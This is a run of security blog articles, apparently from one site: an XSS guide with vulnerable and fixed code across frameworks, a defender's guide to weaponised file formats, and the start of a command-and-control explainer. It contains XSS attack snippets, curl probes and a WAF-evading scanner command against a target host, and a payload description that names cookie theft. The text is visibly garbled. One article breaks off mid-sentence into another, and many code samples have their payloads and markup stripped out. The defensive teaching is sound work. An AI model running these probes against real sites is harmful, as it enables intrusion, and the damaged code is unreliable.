methods=['POST']) def post_comment(): content = request.form['content'] db.execute("INSERT INTO comments (content, created_at) VALUES (?, ?)", (content, datetime.now())) return redirect('/posts/1') @app.route('/posts/1') def view_post(): comments = db.execute("SELECT content, created_at FROM comments").fetchall() # VULNERABLE: Markup() tells Jinja2 "trust this HTML, don't escape it" rendered = [{'text': Markup(c['content']), 'date': c['created_at']} for c in comments] return render_template('post.html', comments=rendered) ``` ```html {% for comment in comments %}
{{ comment.text }}
{% endfor %} ``` ### Fixed Code ```python # SAFE: pass raw strings, let Jinja2 auto-escape them @app.route('/posts/1') def view_post(): comments = db.execute("SELECT content, created_at FROM comments").fetchall() # Pass dict with raw string — never wrap in Markup() return render_template('post.html', comments=[ {'text': c['content'], 'date': c['created_at']} for c in comments ]) ``` ```html {% for comment in comments %}
{{ comment.text }}
{% endfor %} ``` ### When You Must Accept HTML: Sanitization Rich text editors (Quill, TipTap, CKEditor) produce HTML that needs to be stored and rendered. You can't escape it, but you must sanitize it. ```python import bleach ALLOWED_TAGS = ['p', 'br', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li', 'h1', 'h2', 'h3', 'blockquote', 'code', 'pre'] ALLOWED_ATTRIBUTES = { 'a': ['href', 'title'], '*': ['class'], # Allow class for styling but no event handlers } def sanitize_rich_text(html: str) -> str: # bleach strips all tags not in ALLOWED_TAGS # and all attributes not in ALLOWED_ATTRIBUTES # strip=True removes disallowed tags entirely (vs. escaping them) clean = bleach.clean( html, tags=ALLOWED_TAGS, attributes=ALLOWED_ATTRIBUTES, strip=True, strip_comments=True ) # Additionally, sanitize href values to prevent javascript: URIs clean = bleach.linkify(clean, callbacks=[ lambda attrs, new: attrs if not attrs.get((None, 'href'), '').startswith('javascript:') else None ]) return clean ``` ```javascript // DOMPurify for JavaScript (client-side or Node.js with jsdom) import DOMPurify from 'dompurify'; const sanitizeConfig = { ALLOWED_TAGS: ['p', 'br', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li', 'h1', 'h2', 'h3', 'blockquote', 'code', 'pre'], ALLOWED_ATTR: ['href', 'title', 'class'], ALLOW_DATA_ATTR: false, FORBID_SCRIPTS: true, FORCE_BODY: false, }; function sanitizeContent(dirty: string): string { return DOMPurify.sanitize(dirty, sanitizeConfig); } ``` Sanitize on write, not on read. Store sanitized content in the database. If you only sanitize on read, a bug in your sanitization logic (or a sanitization library update) can affect historical content inconsistently. Write-time sanitization with a strict allowlist is the correct approach. ## DOM-Based XSS DOM-based XSS is the most misunderstood variant. The vulnerability exists entirely in client-side JavaScript: the server never sees the malicious payload. The attack flows from a **source** (attacker-controlled data enters the JavaScript environment) to a **sink** (data is interpreted as code or HTML). The server's logs are clean. No server-side sanitization can help. The vulnerability must be fixed in the frontend JavaScript code. ### Sources (Where Attacker Data Enters) ```javascript // Common DOM XSS sources location.href // full URL location.search // query string (?key=value) location.hash // fragment (#value) location.pathname // URL path document.referrer // referrer header document.URL // alias for location.href window.name // persists across navigations document.cookie // if set without HttpOnly (not useful for attacker-controlled data) // postMessage — frequently overlooked window.addEventListener('message', (event) => { // VULNERABLE: if event.data is used in a dangerous sink without validation document.getElementById('output').innerHTML = event.data; }); ``` ### Sinks (Where Code Executes) ```javascript // DANGEROUS sinks — avoid with user-controlled data element.innerHTML = value; // parses as HTML, executes scripts element.outerHTML = value; // same document.write(value); // same document.writeln(value); // same element.insertAdjacentHTML('beforeend', value); eval(value); // executes as JavaScript setTimeout(value, 0); // if value is a string, executed as JS setInterval(value, 0); // same new Function(value)(); // same location.href = value; // javascript: URI injection location.assign(value); // same location.replace(value); // same element.src = value; // javascript: URI injection in certain contexts // SAFE alternatives element.textContent = value; // text only, no HTML parsing element.setAttribute('data-x', value); // attribute value, not HTML ``` ### Classic DOM XSS Example ```html
``` Attack URL: `https://target.com/welcome#` The server returns a completely normal response. In the browser: 1. JavaScript reads `location.hash` → `#` 2. `.slice(1)` removes the `#` 3. `decodeURIComponent` decodes the URL encoding 4. `innerHTML` receives the `` tag and creates a DOM element 5. `src=x` fails to load, triggering `onerror` 6. `alert(document.cookie)` executes The server log shows a completely normal GET request with no suspicious query parameters. ### Fix ```javascript // SAFE: textContent treats value as literal text, no HTML parsing const name = decodeURIComponent(location.hash.slice(1)); document.getElementById('greeting').textContent = 'Hello, ' + name + '!'; ``` ### postMessage DOM XSS ```javascript // Vulnerable page receiving postMessage window.addEventListener('message', function(event) { // VULNERABLE: no origin validation, innerHTML sink if (event.data.type === 'updateContent') { document.getElementById('content').innerHTML = event.data.html; } }); // Attack: from an iframe or popup on a different domain window.opener.postMessage({ type: 'updateContent', html: '' }, '*'); ``` ```javascript // SAFE: validate origin, avoid dangerous sinks const TRUSTED_ORIGINS = ['https://app.example.com', 'https://widget.example.com']; window.addEventListener('message', function(event) { // Validate message origin if (!TRUSTED_ORIGINS.includes(event.origin)) { console.warn('Rejected message from untrusted origin:', event.origin); return; } if (event.data.type === 'updateContent') { // Use textContent if only text is needed document.getElementById('content').textContent = event.data.text; // Or sanitize if HTML is required const clean = DOMPurify.sanitize(event.data.html); document.getElementById('content').innerHTML = clean; } }); ``` ### DOM XSS in URL Routing (React) ```javascript // Vulnerable React component — reads URL param and uses dangerouslySetInnerHTML import { useSearchParams } from 'react-router-dom'; function SearchPage() { const [params] = useSearchParams(); const query = params.get('q') || ''; return (
{/* VULNERABLE: dangerouslySetInnerHTML with user input */}

); } ``` ```javascript // SAFE: React's default JSX rendering escapes automatically function SearchPage() { const [params] = useSearchParams(); const query = params.get('q') || ''; return (
{/* SAFE: React escapes query automatically */}

Search results for: {query}

); } ``` ## Framework Escape Hatches Modern frameworks auto-escape output by default, but all of them have documented escape hatches. These are responsible for a significant portion of XSS findings in "modern" applications. ### React ```jsx // SAFE by default — React escapes all JSX expressions function UserProfile({ bio }) { return

{bio}

; // bio is text, not HTML — cannot contain executable scripts } // VULNERABLE: dangerouslySetInnerHTML function UserBio({ bio }) { // If bio came from user input and isn't sanitized, this is stored XSS return
; } // SAFE: sanitize before setting innerHTML import DOMPurify from 'dompurify'; function UserBio({ bio }) { const safeBio = DOMPurify.sanitize(bio, { ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'], ALLOWED_ATTR: ['href'], }); return
; } // DANGEROUS: href with user-controlled value function UserLink({ url, text }) { // VULNERABLE if url can be "javascript:alert(1)" return {text}; } // SAFE: validate URL protocol function UserLink({ url, text }) { const safeUrl = /^https?:\/\//i.test(url) ? url : '#'; return {text}; } ``` ### Vue.js ```html ``` ### Angular ```typescript // Angular's default [innerHTML] binding applies DomSanitizer automatically // But bypassSecurityTrust* methods disable this // SAFE: Angular's default binding @Component({ template: `
` // Angular sanitizes automatically }) // VULNERABLE: bypass methods import { DomSanitizer } from '@angular/platform-browser'; @Component({ template: `
` }) export class CommentComponent { trustedHtml: SafeHtml; constructor(private sanitizer: DomSanitizer, private userService: UserService) { // VULNERABLE: tells Angular "I trust this, skip sanitization" this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml(userService.getBio()); } } // SAFE: use Angular's sanitize() method instead of bypass @Component({ template: `
` }) export class CommentComponent { safeHtml: string; constructor(private sanitizer: DomSanitizer) { // sanitize() applies sanitization and returns a SafeHtml value this.safeHtml = this.sanitizer.sanitize(SecurityContext.HTML, userBio) ?? ''; } } ``` ### Next.js (Server-Side and Client-Side) ```jsx // Next.js server component — vulnerable export default async function Page({ params }) { const data = await fetchData(params.id); // VULNERABLE: dangerouslySetInnerHTML with unescaped server data return (
); } // SAFE: sanitize on the server before rendering import { sanitize } from 'isomorphic-dompurify'; export default async function Page({ params }) { const data = await fetchData(params.id); const safeContent = sanitize(data.content, { ALLOWED_TAGS: ['p', 'h2', 'h3', 'ul', 'ol', 'li', 'a', 'strong', 'em', 'code', 'pre'], ALLOWED_ATTR: ['href', 'class'], }); return
; } ``` ## Content Security Policy CSP is the browser-enforced defense layer that blocks script execution even when encoding fails. A properly configured CSP with nonces makes XSS exploitation dramatically harder, injected script tags without the correct nonce will be blocked by the browser. ### Nonce-Based CSP ```typescript // Next.js middleware — generate nonce per request import { NextResponse } from 'next/server'; import type { NextRequest } from 'next/server'; import { randomBytes } from 'crypto'; export function middleware(request: NextRequest) { const nonce = randomBytes(16).toString('base64'); const csp = [ `default-src 'self'`, `script-src 'self' 'nonce-${nonce}'`, // only scripts with this nonce execute `style-src 'self' 'nonce-${nonce}'`, `img-src 'self' data: https:`, `font-src 'self'`, `connect-src 'self' https://api.example.com`, `object-src 'none'`, // no Flash, no plugins `base-uri 'self'`, // prevents base tag injection `frame-ancestors 'none'`, // prevents clickjacking `upgrade-insecure-requests`, ].join('; '); const response = NextResponse.next({ request: { headers: new Headers({ ...Object.fromEntries(request.headers), 'x-nonce': nonce }) }, }); response.headers.set('Content-Security-Policy', csp); return response; } ``` ```jsx // Next.js root layout — use nonce in script tags import { headers } from 'next/headers'; export default function RootLayout({ children }) { const nonce = headers().get('x-nonce') || ''; return ( {/* This script tag includes the nonce — browser allows it */} {children} ); } ``` Without the nonce, an injected `` is blocked even if it somehow makes it into the page. ### Testing Your CSP ```bash # Check what CSP is deployed curl -I https://target.com | grep -i content-security-policy # Evaluate CSP strength # Use Google's CSP Evaluator curl -s "https://csp-evaluator.withgoogle.com/getCSP?url=https://target.com" | jq . # Common CSP weaknesses that allow bypass: # - 'unsafe-inline' in script-src # - 'unsafe-eval' in script-src # - Wildcard in script-src: * # - Specific CDN domains that host user-uploaded files: *.cloudinary.com # - script-src missing, falling back to default-src ``` A CSP with `'unsafe-inline'` provides essentially zero protection against XSS. `'unsafe-eval'` is nearly as bad. A common mistake is setting `default-src 'self' 'unsafe-inline'`: the `'unsafe-inline'` in `default-src` applies to scripts, completely negating the protection. Treat any CSP containing these directives as if no CSP exists. ## Detection: Finding XSS in Code and in Black-Box Testing ### Code Review Checklist ```python # Python/Jinja2 red flags {{ variable | safe }} # disables escaping Markup(user_controlled_value) # marks as trusted HTML render_template_string(f"... {user_input} ...") # SSTI and XSS combined risk ``` ```javascript // JavaScript red flags element.innerHTML = value; // direct HTML injection element.outerHTML = value; document.write(value); element.insertAdjacentHTML('afterbegin', value); eval(userInput); setTimeout(userInput, 0); // string arg to setTimeout new Function(userInput)(); location.href = 'javascript:' + value; ``` ```jsx // React red flags dangerouslySetInnerHTML={{ __html: unverifiedData }} // javascript: URI risk // javascript: URI risk ``` ```typescript // Angular red flags bypassSecurityTrustHtml(userInput) bypassSecurityTrustScript(userInput) bypassSecurityTrustUrl(userInput) bypassSecurityTrustResourceUrl(userInput) ``` ### Black-Box Testing ```bash # Step 1: Find reflection points # Inject a unique string and look for it in the response curl -s "https://target.com/search?q=PWNSY_TEST" | grep PWNSY_TEST # Step 2: Test for HTML context injection curl -s "https://target.com/search?q=PWNSY" | grep -i 'PWNSY' # If you see the literal PWNSY unencoded, HTML injection is possible # Step 3: Test for script execution curl -s 'https://target.com/search?q=' | grep -i 'script' # Step 4: Use dalfox for automated XSS discovery dalfox url "https://target.com/search?q=FUZZ" --waf-evasion --follow-redirects # Step 5: Burp Suite DOM Invader # Install DOM Invader canary into browser through Burp Suite # Navigates the application and automatically detects DOM XSS sources/sinks ``` ### XSS Hunter for Out-of-Band Detection Some XSS payloads execute in contexts where you can't see the output (admin panels, email notifications, PDF renderers): ```javascript // XSSHunter payload — executes, sends report to your endpoint '"> ``` XSSHunter captures: - The full page HTML when the payload fired - Screenshot of the page - The URL the payload fired on - The browser's cookies - The authenticated user's identity Use xsshunter.com (hosted) or self-host the open source version. ## Defense Stack Summary | Defense | What It Prevents | How to Implement | |---|---|---| | Output encoding | Reflected and stored XSS at render time | Use framework defaults; never use `| safe` or `dangerouslySetInnerHTML` on user data | | `textContent` over `innerHTML` | DOM XSS at sink | Audit every `innerHTML` assignment | | Input sanitization | Stored XSS when HTML is required | DOMPurify, bleach, OWASP Java HTML Sanitizer | | CSP with nonces | Execution of injected scripts | Strict CSP header, regenerate nonce per request | | `HttpOnly` cookies | Session token theft via `document.cookie` | Set cookie flags: `HttpOnly; Secure; SameSite=Strict` | | URL scheme validation | `javascript:` URI injection | Validate `href`/`src` values to only allow `https:` | | `postMessage` origin validation | Cross-origin DOM XSS | Always validate `event.origin` | The defense hierarchy in priority order: 1. **Output encoding**, context-aware escaping at every insertion point eliminates reflected and stored XSS at the rendering layer 2. **Avoid dangerous sinks**, `textContent` instead of `innerHTML`, no `eval()`, no `dangerouslySetInnerHTML` on user data 3. **Input sanitization on write**, for rich text, sanitize with a strict allowlist before storage 4. **Content Security Policy**, nonce-based CSP adds browser enforcement that catches encoding failures 5. **HttpOnly + SameSite cookies**, limits post-exploitation impact even when XSS executes Output encoding is table stakes. Every framework does it by default. Every XSS vulnerability in a modern framework application exists because a developer explicitly bypassed those defaults. If you find `dangerouslySetInnerHTML`, `| safe`, `bypassSecurityTrust*`, or `innerHTML =` on user-controlled data in a code review, you have a finding. ## The three variants at a glance The three XSS variants share one root cause, untrusted data reaching a place where the browser interprets it as markup or script, and they differ in where the payload travels and how it persists. Keeping the differences straight tells you where to look and why a given defense applies. | Property | Reflected | Stored | DOM-based | |---|---|---|---| | Where the payload lives | In the request, echoed into the response | In a database, served to every viewer | Never leaves the browser | | Who gets hit | Only a victim who opens a crafted link | Every user who loads the affected content | Only a victim who opens a crafted URL or state | | Server involvement | Server reflects it into HTML | Server stores and serves it | Server never sees the payload | | Shows in server logs | Yes, in the request | Yes, at write time | No, the payload can hide in the URL fragment | | Primary fix | Context-aware output encoding | Sanitize on write plus encode on render | Safe sinks in client code, `textContent` over `innerHTML` | | Severity driver | Requires luring each victim | Fires for everyone automatically | Bypasses server-side filters entirely | Reflected and DOM-based both need a victim to open something the attacker crafts, which caps their reach. Stored XSS removes that requirement, which is why a persistent payload in a widely viewed field is the highest-severity case: it executes for every viewer with no further action from the attacker. DOM-based is the one that server-side defenses cannot touch, because the dangerous flow from source to sink happens entirely in the browser, so it must be fixed in the client code. ## Detection signals: finding XSS you did not write in Beyond code review and black-box testing, several runtime signals point to XSS activity or exposure. **Content Security Policy violation reports.** A CSP with a reporting endpoint sends a report whenever the browser blocks an inline script or a script from an unexpected source. A stream of violation reports referencing script sources you never deployed is a direct signal that injection is being attempted, or that a page is loading something it should not. **Requests to unfamiliar external hosts from within a page.** Exfiltration payloads send cookies or tokens to an attacker-controlled domain. Outbound requests to unrecognized hosts, especially carrying long encoded query strings, are the network fingerprint of a firing payload. **User content containing markup or event-handler attributes.** Stored fields that suddenly hold `onerror`, `onload`, `onfocus`, `javascript:`, or `File-Format Abuse Atlas, a searchable table of weaponised formats: what each one is, the trusted binary it typically invokes, the abuse technique, and how to detect it. Use this page for the mental model and the atlas when you need the exact format, extension, or detection to act on. ## The categories of weaponised format Each row is a family of formats that shares an abuse pattern. The extensions are examples, not an exhaustive list. | Category | Example formats | How it is abused | Detection focus | |---|---|---|---| | Scripts | `.js`, `.vbs`, `.ps1`, `.bat`, `.wsf` | Runs code directly through a trusted script host on double-click | Script host (`wscript`, `cscript`, `powershell`) spawned from a mail or download path | | Shortcuts | `.lnk`, `.url`, `.scf` | The target field launches a hidden command or remote payload | `explorer` or a `.lnk` spawning a shell or LOLBin | | Disk images | `.iso`, `.img`, `.vhd`, `.vhdx` | Mounts as a drive and smuggles payloads past scanners, strips Mark-of-the-Web | Image mount events followed by execution from the mounted volume | | Macro documents | `.docm`, `.xlsm`, `.doc`, `.xls` | Embedded macro or DDE runs code when the document opens | Office application spawning a script host or LOLBin | | Installers and packages | `.msi`, `.msix`, `.appx` | Installs and runs code from a local or remote source | `msiexec` invoked with a URL or from a user-writable path | | Images | `.svg`, `.jpg`, `.png` | SVG carries script, polyglot and steganographic files hide payloads | Browser rendering an untrusted SVG, images with executable tails | | Archives | `.zip`, `.rar`, `.7z`, `.gz` | Nests and compresses payloads to defeat scanning and Mark-of-the-Web | Archive extraction followed immediately by execution of the contents | | HTML and smuggling | `.html`, `.svg`, `.hta` | HTML smuggling reassembles a payload in the browser to bypass gateways | Browser writing an executable or archive to disk, then execution | Read the table and the same shape appears in every row. The file itself carries little or no obviously malicious code. It is a wrapper whose job is to reach a trusted execution path, then trigger it. ## Why the format is a wrapper The reason these categories keep recurring is that each abuses a specific trust the operating system grants by default. - **Scripts** run interpreted, so there is no compiled binary for signature tools to flag, and the script host is a signed Microsoft component that application allowlisting waves through. - **Shortcuts** hide their real intent in a target field the user never sees. A `.lnk` that appears to point at a PDF can actually launch PowerShell with an encoded command. - **Disk images and archives** are containers. A payload inside an ISO or a nested ZIP is harder for a scanner to reach, and critically, files extracted from some containers do not inherit the **Mark-of-the-Web**, the flag Windows uses to warn that a file came from the internet. - **Macro documents** were the dominant vector for years because Office would run embedded code on open. When macros from the internet were blocked by default, attackers pivoted to the other categories, which is why disk images and LNK files surged afterward. - **Images** exploit the assumption that a picture is inert. SVG is XML that browsers render, and it can contain script. Polyglot files are valid as two formats at once, so a file that is a legitimate image can also be a valid archive or script. In nearly every case the file then invokes a **LOLBin**, a legitimate Windows binary repurposed to download and execute the real payload. The document is the trigger; the trusted binary is the engine. This is why file-format defense and behavioural detection are the same problem seen from two ends, and it is covered in depth in [LOLBins Explained](/living-off-the-land-explained). ## Detection follows behaviour, not extension Extensions lie. Attackers rename files, use double extensions, nest formats inside archives, and build polyglots that are valid as two types at once. A defense that keys on the extension alone is trivially bypassed. The durable signal is what the file does when it is opened. The highest-value detection is the **parent-child process chain**. A document, archive, or image that leads to a script host or shell being spawned is the moment the wrapper does its work, and that chain is almost never legitimate: - `winword.exe` or `excel.exe` launching `powershell.exe`, `wscript.exe`, or `cmd.exe`. - `explorer.exe` launching a shell immediately after a `.lnk` was opened. - An archive tool or a mounted ISO followed at once by execution from that path. - A browser writing an executable or archive to disk, then that file running, the fingerprint of HTML smuggling. Much of this category depends on stripping the Mark-of-the-Web so the user never sees the "downloaded from the internet" warning. Container formats like ISO and some archive types were popular precisely because they broke that flag. Configure your tooling and policies to preserve Mark-of-the-Web through extraction, block or warn on high-risk container formats at the mail gateway, and disable script host and macro execution where the business does not need them. Those three moves close most of the delivery paths at once. ## Gateway and policy controls Detection catches what got through; policy stops it arriving. The controls that remove the most delivery surface: 1. **Strip or quarantine risky formats at the mail gateway.** Script files, HTA, and often disk images have no legitimate business as email attachments for most organisations. 2. **Block macros from the internet.** This single default change reshaped the threat landscape and remains one of the highest-value settings. 3. **Change default handlers.** If `.js`, `.vbs`, `.hta`, or `.wsf` never legitimately run on your endpoints, set their default handler to open in Notepad so a double-click edits rather than executes. 4. **Preserve and enforce Mark-of-the-Web** so Protected View and SmartScreen fire on internet-sourced files. 5. **Constrain the execution engines.** Application control, Constrained Language Mode for PowerShell, and disabled script hosts break the step after the file opens. The catalogue of which specific formats fall into each category, the exact binary each tends to invoke, and the ATT&CK technique behind it is maintained on the File-Format Abuse Atlas. Use it to turn the categories here into concrete blocklist and detection entries. ## How to use this reference 1. **Think in categories, not extensions.** The seven families above cover almost every delivery format, and each has a stable abuse pattern. 2. **Assume the file is a wrapper.** Ask what trusted execution path it reaches, since that path is where you detect and where you control. 3. **Detect on the process chain.** A document, archive, or image leading to a script host or shell is the signal, whatever the file was called. 4. **Fix the gateway and the defaults.** Strip risky attachments, block internet macros, change default handlers, and keep Mark-of-the-Web intact. 5. **Work from the atlas for specifics.** When you need the exact format, its typical tool, and a detection, the live table has the detail this narrative sets up. Attackers keep a small deck of file formats and reshuffle it as defenses close individual paths. Learn the categories and the wrapper-to-LOLBin pattern once, and each new lure is a variation you already recognise rather than a novel threat. ## A worked example: how one lure chains together Follow a single common delivery pattern from arrival to execution, and the wrapper logic becomes concrete. No real campaign is named here, only the mechanical steps a typical chain performs. 1. **The lure arrives as an archive.** An email carries a ZIP attachment with a name that fits the pretext, an invoice or a shipping notice. The archive matters for two reasons: it hides the true contents from a surface scan of the attachment, and files extracted from some archive handling do not carry the Mark-of-the-Web, so the internet-origin warning never appears. 2. **Inside sits a shortcut, not a document.** The user opens the archive and sees what looks like a document. The icon and name are chosen to match, while the actual file is a `.lnk` shortcut. The target field of that shortcut, which the user never reads, holds a command. 3. **The shortcut launches a trusted binary.** Double-clicking runs the hidden command, which invokes a signed Windows component such as a script host or a downloader LOLBin. Nothing about that binary is malicious on its own, which is exactly why it is chosen. 4. **The trusted binary fetches the payload.** The LOLBin reaches out to a remote host and pulls down the real payload, or reconstructs it from data already on disk. Because the fetch comes from a legitimate system tool, naive allowlisting waves it through. 5. **The payload executes and persistence follows.** The retrieved code runs, and the intrusion moves past initial access into whatever the operator does next. Every stage maps to a control. The archive stage argues for stripping or quarantining risky attachments and preserving Mark-of-the-Web. The shortcut stage argues for watching `explorer` and `.lnk` handling spawn a shell. The LOLBin stage argues for the parent-child process detections. No single control has to be perfect, because the chain gives several independent chances to break it. ## A quick map of ATT&CK techniques The behaviours in this guide line up with a small set of stable MITRE ATT&CK techniques, which are useful anchors for detection engineering and reporting. | Behaviour | ATT&CK technique | |---|---| | A user opening a malicious attachment or link | [User Execution (T1204)](https://attack.mitre.org/techniques/T1204/) | | The email delivery itself | [Phishing (T1566)](https://attack.mitre.org/techniques/T1566/) | | A malicious script host running code | Command and Scripting Interpreter (T1059) | | Abuse of a signed system binary | Signed binary proxy execution, the LOLBin pattern | | HTML smuggling reassembling a payload in the browser | A delivery variant of T1204 with local file write | Mapping detections to these IDs keeps a program honest. It makes coverage measurable, lets you compare your telemetry against what adversaries actually do, and gives incident reports a shared vocabulary. ## Detection signals for each category The parent-child process chain is the backbone, and several categories add their own tells worth instrumenting alongside it. - **Scripts.** A script host such as `wscript`, `cscript`, `mshta`, or `powershell` launching from a mail client, a browser download path, or an archive extraction directory. Encoded or heavily obfuscated command lines raise the weight further. - **Shortcuts.** A `.lnk` opened from a download or archive path immediately followed by a shell or LOLBin. Shortcuts with unusually long target fields, or targets that reference a script host, are inherently suspicious. - **Disk images.** A mount event for an ISO, IMG, or VHD followed by execution from the newly mounted volume. Mounting a disk image is rare on most user workstations and stands out on its own. - **Macro documents.** An Office application spawning a script host, a shell, or a LOLBin. Modern telemetry can also flag documents that reach out to the network or write executable content. - **Installers.** `msiexec` invoked with a remote URL or run from a user-writable path such as a downloads or temporary folder, rather than from a managed software deployment. - **Images and SVG.** A browser rendering an untrusted SVG that contains script, or a file whose declared type does not match its content, the signature of a polyglot. - **Archives and smuggling.** An extraction tool immediately followed by execution of extracted content, or a browser writing an executable or archive to disk followed by that file running. Any one of these binaries running is normal in isolation. The detection value comes from the sequence and the parentage: a document, archive, image, or browser giving rise to a script host or shell, close together in time. Instrument the relationship between processes, and the individual tools can stay on their allowlists without hiding the abuse. ## How the mix shifted over time Delivery formats move as defenses close paths, and the recent history is instructive. For years, macro-enabled Office documents were the dominant vector, because an embedded macro would run on open and the user only had to click through a warning. When macros sourced from the internet began to be blocked by default, that single change removed the easiest path and pushed operators elsewhere. The pivot went first toward container formats. Disk images such as ISO and IMG surged because they smuggled payloads past scanning and stripped the Mark-of-the-Web, so the extracted contents did not trigger the internet-origin warnings that Protected View and SmartScreen depend on. Shortcut files rose alongside them, since a `.lnk` hides its command in a field the user never inspects. HTML smuggling grew as a way to assemble a payload inside the browser, past a gateway that only saw benign-looking HTML. The lesson for a defender is that the categories are stable even as the popularity of each one rises and falls. A control that assumes today's favourite format will still be popular next year ages badly. A control built on the wrapper-to-trusted-binary pattern keeps working, because that pattern is what every category has in common regardless of which is currently in fashion. ## Container formats and the Mark-of-the-Web Container formats deserve their own note, because their abuse turns on a single mechanism: whether the Mark-of-the-Web survives extraction. When it survives, internet-sourced files trigger Protected View, SmartScreen, and macro restrictions. When it is stripped, those defenses stay silent and the user sees an ordinary local file. | Container | Typical abuse | Mark-of-the-Web behaviour | |---|---|---| | ISO / IMG | Mounts as a drive, hides payload, avoids scanning | Historically not propagated to contents on mount | | VHD / VHDX | Same as ISO with a virtual disk format | Historically not propagated to contents | | ZIP | Nests and compresses payloads to defeat surface scans | Propagation depends on the extracting tool and its settings | | RAR / 7z | Same as ZIP, sometimes with password protection to block scanning | Depends on the extraction tool | Password-protected archives add a second twist. A password in the email body lets the human open the archive while denying a scanner the contents, because the gateway cannot decrypt what it cannot read. Treat password-protected attachments from outside as high-risk, and prefer tooling and policies that carry Mark-of-the-Web through extraction so the internet-origin warnings still fire on whatever comes out. ## Common misconceptions **"Blocking executables at the gateway is enough."** The whole point of these categories is to avoid shipping an obvious executable. Scripts, shortcuts, documents, images, and archives all reach execution through trusted components, so a filter that only stops `.exe` files misses the entire pattern. **"A picture cannot hurt me."** SVG is XML that a browser renders, and it can carry script. Polyglot files are valid as two formats at once, so a file that opens as a legitimate image can also be a valid archive or script. The assumption that images are inert is exactly the trust these formats abuse. **"The extension tells me what the file is."** Attackers rename files, use double extensions, and nest formats. The extension is a hint the user sees, and the real behaviour is decided by how the file is handled when opened. Detection built on extensions alone is trivially bypassed. **"If antivirus passed it, it is safe."** These wrappers often contain little obviously malicious code, because their job is to reach a trusted execution path and trigger it. A clean scan of the wrapper says little about what the chain does once the user opens it. **"Disabling macros solved the problem."** Blocking internet macros was one of the highest-value changes available, and it moved the problem rather than ending it. Operators shifted to disk images, shortcuts, and HTML smuggling, which is why the wrapper pattern, and not any single format, is the thing to defend against. ## Frequently asked questions **Why do attackers prefer file formats that invoke trusted binaries?** Trusted, signed system components are waved through by application allowlisting and raise little suspicion in logs. By making the file a wrapper that reaches one of these components, the operator borrows its trust and avoids shipping code that a scanner would flag on sight. This is the LOLBin pattern, covered in [LOLBins Explained](/living-off-the-land-explained). **What is the Mark-of-the-Web and why does it matter?** It is a flag Windows attaches to files that came from the internet. Protected View, SmartScreen, and macro-blocking policies rely on it to decide whether to warn or restrict a file. Container formats like ISO and some archive handling can strip the flag, so the extracted contents run without the warnings the user would otherwise see. Preserving it through extraction is a high-value control. **Are disk image files really that dangerous?** Mounting an ISO or IMG is uncommon on most user workstations, and the format smuggles payloads past scanning while breaking the Mark-of-the-Web. That combination made disk images a popular pivot after internet macros were blocked. Because legitimate mounts are rare, a mount event followed by execution from the mounted volume is a strong and low-noise signal. **Can SVG files carry malware?** SVG is XML that browsers render, and it can contain embedded script. It is also used in HTML smuggling to reconstruct a payload in the browser. Treat untrusted SVG rendered by a browser as active content, not as an inert picture. **Is HTML smuggling a file format or a technique?** It is a technique that uses ordinary web formats. The HTML or SVG delivered to the browser looks benign to a gateway, and script inside it reassembles the real payload locally and prompts the user to save or run it. The detection signal is a browser writing an executable or archive to disk followed by that file running. **What single control removes the most delivery surface?** There is no one control that covers everything. Blocking macros sourced from the internet, stripping high-risk formats at the mail gateway, and preserving Mark-of-the-Web through extraction together close most of the common paths. Layer the parent-child process detections on top to catch what still gets through. **Should I block password-protected archives outright?** For many organisations, inbound password-protected archives from external senders carry more risk than value, because the password in the message body lets a human open what a scanner cannot inspect. Blocking or quarantining them, with an exception process for known business needs, removes a reliable smuggling path while keeping a way through for legitimate cases. ## Related guides - [LOLBins Explained](/living-off-the-land-explained) - [What Is Phishing](/what-is-phishing) - [What Is an Infostealer](/what-is-an-infostealer) - [HTML Smuggling Explained](/html-smuggling) - [Ransomware Anatomy](/ransomware-anatomy) ### Sources - MITRE ATT&CK: User Execution (T1204) (MITRE): https://attack.mitre.org/techniques/T1204/ - MITRE ATT&CK: Phishing (T1566) (MITRE): https://attack.mitre.org/techniques/T1566/ - CISA: Avoiding Social Engineering and Phishing Attacks (CISA): https://www.cisa.gov/news-events/news/avoiding-social-engineering-and-phishing-attacks --- ## Command and Control: Beaconing, Channels & Detection > How C2 works: beaconing, HTTP, DNS and social-media channels, redirectors, and the traffic patterns defenders use to find implants on a network. - URL: https://blog.pwnsy.com/command-and-control-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: malware - Tags: command-and-control, beaconing, network-detection, threat-hunting, blue-team - Related: [Malvertising Explained: Forced Redirects, Fake Download Ads and How They Get Through](https://blog.pwnsy.com/malvertising-explained), [HTML Smuggling Explained: Delivering Payloads Past the Gateway](https://blog.pwnsy.com/html-smuggling), [Sigma Rules Explained: Portable Detections for Any SIEM](https://blog.pwnsy.com/sigma-rules-explained) ### TL;DR - Command and control, or C2, is how an implant on a compromised machine talks to the attacker to receive commands and send back stolen data. - Most C2 works by beaconing: the implant reaches out on a schedule to a controller, which keeps the attacker on the safe side of the firewall. - Channels are chosen to blend in, from ordinary-looking HTTPS to DNS queries and even posts on legitimate web services, hidden behind redirectors. - Detection is about traffic patterns and destinations, not payloads, and maps to MITRE ATT&CK Application Layer Protocol (T1071) and related techniques. ### Key Takeaways - C2 turns a single infection into a controllable foothold, and it is the stage where an intrusion becomes an interactive operation. - Beaconing has a rhythm: regular callbacks, often with jitter to look less robotic, which is exactly what makes it findable in traffic logs. - DNS and HTTPS are favoured channels because they are almost always allowed to leave the network, so blocking them wholesale is not an option. - Redirectors and domain fronting hide the real controller behind trusted-looking infrastructure, complicating takedown and attribution. - The strongest defenses combine egress control, TLS and DNS inspection, and hunting for the timing and volume signatures that human traffic does not have. An attacker who lands code on one machine has a problem: that machine is behind a firewall they do not control, and they need to steer it. Command and control, usually shortened to C2, is how they solve it. The implant on the victim reaches back out to infrastructure the attacker runs, and from there the operator can issue commands, pull files, and pivot deeper. Almost every hands-on intrusion passes through this stage. Ransomware crews, espionage groups, and commodity botnets all need a channel back to their operators. Understanding how that channel is built and why it is shaped the way it is tells a defender exactly where to look. On the MITRE ATT&CK matrix, [Command and Control (TA0011)](https://attack.mitre.org/tactics/TA0011/) is a whole tactic, sitting between the attacker gaining execution and achieving their final goal. It is the connective tissue of an operation. Cut it and the implant on the victim goes deaf: it cannot receive new commands, cannot be tasked to spread, and cannot ship data out. That leverage is what makes C2 such a rewarding place to 